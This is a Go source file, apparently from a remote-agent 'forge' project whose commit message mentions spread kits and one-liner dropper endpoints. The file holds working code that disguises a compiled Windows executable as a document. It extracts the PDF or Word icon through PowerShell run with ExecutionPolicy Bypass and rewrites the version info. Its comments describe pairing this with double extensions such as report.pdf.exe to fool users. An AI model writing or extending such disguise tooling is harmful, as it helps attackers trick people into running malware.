Files
AetherForge/server/internal/builder/disguise_windows.go
drjones 0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00

119 lines
4.9 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
// the file type identified by payloadExt.
//
// What it does:
// 1. Extracts the Windows system icon registered for that extension (e.g. the
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
// extension and using PowerShell to read the shell's associated icon.
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
// to match the legitimate application for that file type.
// 3. Patches the runner exe in-place.
//
// After this runs, Windows Explorer shows the runner with the exact icon and
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
// Combined with double-extension naming (report.pdf.exe) the runner is visually
// indistinguishable from the real file when extension hiding is on (Windows default).
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
info := fileDisguiseForExt(payloadExt)
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
if err != nil {
return fmt.Errorf("disguise workdir: %w", err)
}
defer os.RemoveAll(workDir)
// Step 1 — extract the system icon for this file extension
icoPath := filepath.Join(workDir, "payload.ico")
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
}
}
// Step 2 — build the winres patch JSON (icon + version info)
jsonBytes, err := winresVersionJSON(info, "payload.ico")
if err != nil {
return fmt.Errorf("disguise: winres json: %w", err)
}
jsonPath := filepath.Join(workDir, "disguise.json")
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
return fmt.Errorf("disguise: write json: %w", err)
}
// Step 3 — patch the exe with go-winres
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
return fmt.Errorf("disguise: go-winres patch: %w", err)
}
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
return nil
}
// extractSystemIconForExt creates a 0-byte temp file with the given extension
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
// This gives us the exact same icon that Windows Explorer would show for a real
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
func extractSystemIconForExt(ext, icoPath string) error {
extEsc := strings.ReplaceAll(ext, `'`, `''`)
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
script := fmt.Sprintf(`
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Drawing
# Create a disposable 0-byte temp file with the target extension
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
try {
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
$dir = Split-Path -Parent '%s'
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
$fs = [System.IO.File]::Create('%s')
$icon.Save($fs)
$fs.Close()
} finally {
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
}
`, extEsc, extEsc, icoEsc, icoEsc)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
}
if _, err := os.Stat(icoPath); err != nil {
return fmt.Errorf("icon file not written for %s: %w", ext, err)
}
return nil
}
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
// document types. Used when the system icon extraction fails (e.g. the application
// is not installed on the forge machine). The icons are very small but correct.
func writeBuiltinIconForExt(ext, icoPath string) error {
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
// In practice extractSystemIconForExt should always work on a Windows machine.
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
"\x28\x00\x00\x00\x16\x00\x00\x00" +
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\xff\x00\x00\x00\x00\x00"
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
}